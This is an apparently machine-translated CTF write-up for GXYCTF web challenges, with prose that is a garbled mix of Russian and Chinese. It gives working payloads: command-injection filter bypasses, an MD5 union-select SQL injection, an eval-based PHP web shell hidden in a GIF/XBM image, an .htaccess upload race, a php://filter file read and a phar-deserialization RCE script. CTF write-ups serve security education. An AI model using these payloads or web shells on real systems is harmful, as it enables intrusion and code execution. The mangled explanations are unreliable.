Раздел содержит краткий анализ GXYCTF Интернет

0x01 пинг пинг пинг

Here Вставка рисунка Описание
Очевидно , инъекция команды, мы используем символ трубы , |чтобы выполнить команду , мы хотели
Here Вставка рисунка Описаниепространство , чтобы быть отфильтрован, существует множество способов обхода пространств, таких как

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

Потому что здесь фильтрация { }и другие специальные символы, Vaughan использовать $IFS$9его
Here Вставка рисунка Описание
здесь и фильтруется флаг эти письма не могут быть присоединены к оказаться, что f\l\a\gне в порядке, здесь мы используем команду сращивания формы a=f;b=l;c=g;d=a;echo $a$b$d$c;может сращивать flagнесколько букв
последнего полезная нагрузка
Here Вставка рисунка Описание

0x02 BabySQli

Простой MD5 инъекции

Here Вставка рисунка ОписаниеСтрока кодирования Base32, мы первые base32 декодирования base64 декодируются вновь получить select * from user where username = '$name', потому что название предполагает использование шифрования md5, и три протестировали, смею предположить , что второй в качестве имени пользователя, пароль третьей колонки, это может быть следующим следующий попробовать ~~

Полезная нагрузка:

0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1

Первый из которых должен быть 0, если база данных не может найти имя нашего союза будет использовать данные, которые c4ca4238a0b923820dcc509a6f75849bявляются 1значение MD5

Here Вставка рисунка Описание

0x03 BabyUpload

Here Вставка рисунка ОписаниеТот, который является интерфейсом загрузки, старая рутина, и обычно загружать фотографии как ~~

Я обычно использую лошадь в качестве картинки

GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

Этот формат содержит как PNG изображение, но также содержит xbmpформат, PHP также используется <script language="php">для облегчения челнока ~~

Here Вставка рисунка ОписаниеМы посещаем наши закачивать фотографии лошадей, но не могли решить ~~
Here Вставка рисунка Описаниевообще сделать изображение лошади , чтобы вступить в силу, у нас есть только достаточно хорошо , чтобы LFIместо, но этот вопрос нет, так что мы можем попытаться загрузить .htaccessразрешить наши фотографии ~~

Совет типа слишком явно ,
мы должны изменить его Content-Type, изменить изображение / JPEG на линии ~

Here Вставка рисунка Описание我们访问试试~~
Here Вставка рисунка Описание显示访问不了,明显删除了,所以莫法解析我们的图片,这儿可以使用条件竞争,一直上传.htaccess和图片,然后就可以解析了~~

Here Вставка рисунка Описание然后执行命令~~

Here Вставка рисунка Описание

0x04 BabysqliV3.0

看似是一道sql注入的题目,但是试了很多次就没结果,最后直接爆破,得到账号密码为admin password
爆破是安全的最基本操作,以后看见登录框管他三七二十一先爆破一下再说~~

我们登录一下,直接跳转到了一个文件上传界面~~
Here Вставка рисунка Описание当初看见有个参数file的时候还以为是上传图片马然后直接再包含呢 ~~
其实没这么简单~~

随便上传一个文件就会显示上传的地址和文件的内容
Here Вставка рисунка Описание
但是所有文件都会被加一个txt的后缀,即变成一个文本文件~~
所以上传的套路都失效了,我们只有另寻他法~~

我们试试可不可以使用伪协议读取文件内容~~

Here Вставка рисунка Описание直接读出了源码~~

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	
	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

我们先简要分析分析一下这段代码,我们可以上传一个文件,但是这个文件的大小有限制,这个没有什么影响,最主要的是这一句代码echo file_get_contents($uploader);$uploader是一个类,所以echo file_get_contents($uploader);会触发__toString(),而__toString()返回的是Filename;,通过代码我们知道Filename;我们可控,通过传参isset($_GET['name'],但是参数name有一定的限制~~

!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])

这儿过滤了data://filter://php://.,但是出题人多大了一个空格,所以相当于没过滤这几个关键词,所以这儿就产生了非预期解~~

非预期解1

payload:

&name=flag.php
&name=php://filter/read=convert.base64-encode/resource=flag.php

然后任意上传一个文件就可以得到flag,但是此方法只能使用一次~~

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

Мы выбираем загрузку файлов, но содержание не будет сразу загружать вверх, будет некоторая задержка по времени, echo file_get_contents($uploader);то есть в этот раз будет читать оригинал flag.php, но не сразу 覆盖掉flag.php
нам продемонстрировать , что
мы загрузить cacl.pyфайл, содержимое в
Here Вставка рисунка ОписаниеHere Вставка рисунка Описаниеближайшее время мы сможем получить содержимое flag.php, а не то , что мы закачано ~~
мы продолжаем загружать другой файл ~~
Here Вставка рисунка Описание
содержимое дисплея содержимого файла загрузить наш последний ~~

Две полезной нагрузки может получить флаг, но может быть использован только один раз ~~



Студенты, возможно, потребуется, чтобы спросить, не является условием для выполнения его?
	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

Нам действительно нужно выполнить CMD $this->token != $_SESSION['user'], это может быть установлен $this->token == $_SESSION['user'], но код не имеет на это право, ограничивается этой проблемы для решения ожидаемой ~ ~
потому что он сбросит когда десериализации Phar$this->token

Неожиданное 2 Решение

Мы можем быть загружены непосредственно троянского предложение, поскольку только фильтруется 空格+.
контент загружается на наш

<script language="php"> eval($_POST[xxx]); </script>

Here Вставка рисунка ОписаниеНа данный момент нет содержимого возврата, мы ожидаем , что нерешение 1 дало понять , что на этот раз , чтобы загрузить определенные задержки, но был загружен пошло вверх, мы пошли , чтобы посетить его
Here Вставка рисунка Описаниелегко получить флаг ~~

Ожидаемое решение

Решения для решения проблемы заключается в изучении ожидаемого , phar反序列化RCE
file_get_contents()что $uploaderобъект через __toString()возвращение $this->Filename, так как phar://протокол псевдо не может полагаться unserialize()непосредственно десериализации, в сочетании с $this->Filenameуправляемым, так что здесь $this->Filenameс Phar после десериализации, __destruct()метод eval($this->cmd);приводит к удаленному выполнению кода

Here Вставка рисунка Описание
Вот$_SESSION['user']

Учитывая непосредственно полезную нагрузку:

<?php

class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");';   #这儿一定要注意cmd是一句完整的php语句,一定要要加英语分号~~
$o->Filename='test';
$o->token='GXYcb5ae520cb58019b754969f1572f6b6e';
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

Затем загрузите Фары
Here Вставка рисунка Описаниефлага прибудет
Here Вставка рисунка Описание

0x05 StrongestMind

Here Вставка рисунка ОписаниеЭтот вопрос общие рептилии ползают формулу, а затем введите ответ на тысячу раз
полезного груза:

from requests import *
import re
 
s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text) 
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
	pattern = re.findall(r'\d+.[+-].\d+', a.text) 
	c = eval(pattern[0])
	print(c)
	a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
	print(a.text)

Получить флаг

Here Вставка рисунка Описание

Опубликовано 47 оригинальных статей · вона похвала 2 · Просмотров 3116

рекомендация

отblog.csdn.net/a3320315/article/details/104081277
рекомендация